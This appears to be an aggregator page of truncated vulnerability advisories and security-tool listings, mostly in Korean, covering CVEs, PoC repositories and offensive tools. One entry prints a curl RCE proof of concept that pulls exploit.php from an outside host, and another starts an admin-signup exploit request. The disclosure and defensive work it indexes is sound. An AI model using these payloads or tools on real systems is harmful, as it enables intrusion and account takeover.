WordPress WP Admin Audit plugin <= 1.2.17 - Broken Access Control vulnerability

Broken Access Control vulnerability discovered by Nixxies in WordPress Plugin WP Admin Audit versions = 1.2.17...

CVE-2026-2587-Exploit-POC

CVE-2026-2587 Exploit PoC — Eclipse GlassFish EL 주입 RCE 검증기 CVE-2026-2587에 대한 안전한 PoC 검증 도구로, Eclipse GlassFish 관리 콘솔 가젯 핸들링에서 /common/gadgets/gadget.jsf를 통해 발생하는 치명적인 EL 주입/RCE 문제입니다. 이 도구는 승인된 환경에서 무해한 산술 EL 카나리를 사용하여 GlassFish CVE-2026-2587 노출 여부를 보안 팀이 검증할 수 있도록 돕습니다. 할당: Eclipse Foundation C...

fastfinder

FastFinder A lightweight incident response tool for threat hunting and forensic triage ✨ Overview FastFinder is a powerful, lightweight incident response tool designed for cybersecurity professionals conducting threat hunting, live forensics, and endpoint triage. Built for both Windows and Linux...

EUVD-2026-92297

A vulnerability was identified in itsourcecode Online Admission System 1.0. Impacted is an unknown function of the file /admin/schoolyear.php. Such manipulation of the argument sy leads to sql injection. The attack can be launched remotely. The exploit is publicly available and might be used...

CVE-2026-105254

A SQL injection vulnerability exists in the itsourcecode Online Admission System 1.0 . The flaw is located within an unspecified function of the /admin/schoolyear.php file, where manipulation of the sy argument allows for remote exploitation. While an exploit is reported as publicly available, sp...

CVE-2026-105254 itsourcecode Online Admission System schoolyear.php sql injection

A vulnerability was identified in itsourcecode Online Admission System 1.0. Impacted is an unknown function of the file /admin/schoolyear.php. Such manipulation of the argument sy leads to sql injection. The attack can be launched remotely. The exploit is publicly available and might be used...

CVE-2019-9978

CVE-2019-9978 - Social Warfare 워드프레스 플러그인 RCE 사전 인증 없이 Social Warfare 워드프레스 플러그인에서 발생하는 RCE 개념 증명 curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php 취약한 코드 : 수정:...

Gin-Vue-admin-poc-CVE-2022-21660

Gin-Vue-admin 수직 권한 상승 취약점 및 코드 분석 - CVE-2022-21660 1. 서문 여러 고수님들께서 이 프로젝트에 star를 눌러 주시길 환영합니다.http https://github.com/flipped-aurora/gin-vue-admin/ 글을 다 쓰고 나서 CVE를 신청하는 데 다소 번거로움이 있었지만, 다행히도 결국 신청할 수 있었다. github 직원들의 응답이 신속했다. ps CVE를 신청하기 전에 이미 CNVD를 제출했다 2. 환경 구축 공식 튜토리얼에 따라bash git clone...

CVE-2025-59718-PoC

CVE-2025-59718 익스플로잇 위저드 개요 이 도구는 CVE-2025-59718에 대한 개념 증명PoC 익스플로잇 스크립트입니다. CVE-2025-59718은 Fortinet 제품FortiOS, FortiProxy, FortiSwitchManager 등에서 FortiCloud SSO를 위한 SAML 메시지의 암호화 서명 검증이 부적절하여 발생하는 치명적인 인증 우회 취약점입니다. 이 취약점으로 인해 인증되지 않은 원격 공격자가 서명되지 않은 SAML 응답을 제작 및 전송하여 인증을 우회하고 관리자 권한을 획득할 수...

ad-autopwn

AD AutoPwn 제로 인증에서 도메인 관리자까지 — 자동화된 Active Directory 공격 체인 25개 이상의 공격 기법을 연결하여 Active Directory 환경을 손상시키는 완전 자동화된 침투 테스트 도구입니다. 승인된 보안 평가용으로 설계되었습니다. /\ | \ /\ | | | \ / | | | / \ || | / \ /\ V V / ' \ // \/ // \,|\/| //|||| ⚡ 제로 인증에서 도메인 관리자까지 — 공격 체인 발견 | 스니핑 | ARP | WPAD | WSUS | PXE | AD...

CVE-2026-105253

The itsourcecode Online Admission System Project 1.0 is vulnerable to a SQL injection vulnerability in the /admin/login1.php file. The flaw is caused by improper processing of the User argument, which allows an unauthenticated remote attacker to execute arbitrary SQL commands. The exploit has bee...

CVE-2026-105253 itsourcecode Online Admission System Project login1.php sql injection

A vulnerability was determined in itsourcecode Online Admission System Project 1.0. This issue affects some unknown processing of the file /admin/login1.php. This manipulation of the argument User causes sql injection. The attack can be initiated remotely. The exploit has been publicly disclosed...

macOS-enterprise-privileges

Privileges 투명하고 무료이며 안전한 macOS 관리자 권한 관리. Privileges는 현대 기업 환경을 위해 설계된 무료 macOS 애플리케이션입니다. 영구적인 관리자 권한을 부여하지 않고도 필요할 때 사용자에게 임시 관리자 권한을 제공합니다. 이 애플리케이션은 단순성, 보안, 투명성을 염두에 두고 제작되었습니다. 사용자는 애플리케이션 설정에서 애플리케이션 설치 또는 제거와 같은 특정 작업을 수행할 시간을 설정할 수 있습니다. 관리자 계정 대신 표준 사용자 계정을 사용하면 Mac에 추가 보안 계층이 더해지며 보안 모...

CVE-2021-39409

CVE-2021-39409 Online Student Rate System v1.0에서 관리자 계정 등록이 가능하여, 악의적인 공격자가 관리자 계정을 생성하고 관리자 패널에 접근할 수 있습니다. 취약점 POST /ajax.php?action=signup HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 X11; Linux x8664; rv:78.0 Gecko/20100101 Firefox/78.0 Accept: / Accept-Language: en-US,en;q=0.5...

CVE-2024-48887-Exploit

CVE-2024-48887-확인되지 않은 비밀번호 변경 CWE-620 개요 Fortinet FortiSwitch GUI에서 확인되지 않은 비밀번호 변경 취약점으로, 원격의 인증되지 않은 공격자가 특수하게 조작된 요청을 통해 관리자 비밀번호를 변경할 수 있습니다. 익스플로잇: 여기서 다운로드 세부 정보 CVE ID : CVE-2024-48887 게시일 : 04/08/2025 영향 : 중요 익스플로잇 가용성 : 공개되지 않음, 비공개만 가능. CVSS : 9.8 패치 가능 여부: 아직 공식 패치 없음 영향 이 중요한 취약점으로 인...

CVE-2026-8732-POC

CVE-2026-8732 - WordPress WP Google Map Pro 대량 스캐너 및 자동 관리자 생성기 📌 설명 이 도구는 WordPress용 WP Google Map Pro 플러그인의 취약점인 CVE-2026-8732 를 악용합니다. 이 취약점을 통해 인증되지 않은 공격자는 AJAX 엔드포인트admin-ajax.php?action=wpgmptempaccessajax를 통해 유효한 wpmptoken을 획득할 수 있습니다. 이 토큰을 사용하여 공격자는 WordPress 관리자 패널에 접근하고 새로운 관리자 사용자를 생...

CVE-2026-21643

🚨 CVE-2026-21643 "FortiGhost" : FortiClientEMS 내 인증 전 SQLi RCE FortiClientEMS 7.4.4에서의 인증되지 않은 SQL 인젝션 관리 GUI로 조작된 HTTP 요청을 통한 잠재적 원격 코드 실행 📋 개요 CVE-2026-21643 은 Fortinet FortiClient Endpoint Management Server FortiClientEMS 버전 7.4.4 에만 영향을 미치는 치명적인 SQL 인젝션 취약점CWE-89입니다. 인증되지 않은 원격 공격자는 웹 기반 관리...

CVE-2026-36436-Public-Reference-Pack

CVE-2026-36436-Public-Reference-Pack 요약 Trisolutions BRPerfX 버전 1.4.4.0의 취약점으로 인해 관리 구성 인터페이스 내에서 LDAP 자격 증명이 평문으로 노출됩니다. 인증된 관리자는 표준 브라우저 개발자 도구를 사용하여 클라이언트 측 코드를 검사하고 자격 증명을 검색할 수 있습니다. 영향을 받는 버전 1.4.4.0 수정됨 2026-02-25에 공급업체 패치가 릴리스됨 크레딧 Victor Mielke...

wig

wig - WebApp Information Gatherer wig is a web application information gathering tool, which can identify numerous Content Management Systems and other administrative applications. The application fingerprinting is based on checksums and string matching of known files for different versions of...

WHOREPRESS

워드프레스 로그인 체커 설치 npm install --global whorepress 사용법 다음 형식의 목록이 있는지 확인하십시오. url:username:pass whorepress list.txt 인수 목록 인수| 설명 ---|--- --admin-only| 관리자 권한만 확인 --debug| 디버그 오류 출력 --output| 출력 파일 저자 웹사이트: https://imtaqin.id Github: @fdciabdul 프로젝트 지원하기 이 프로젝트가 도움이 되셨다면 ⭐️를 눌러주세요!...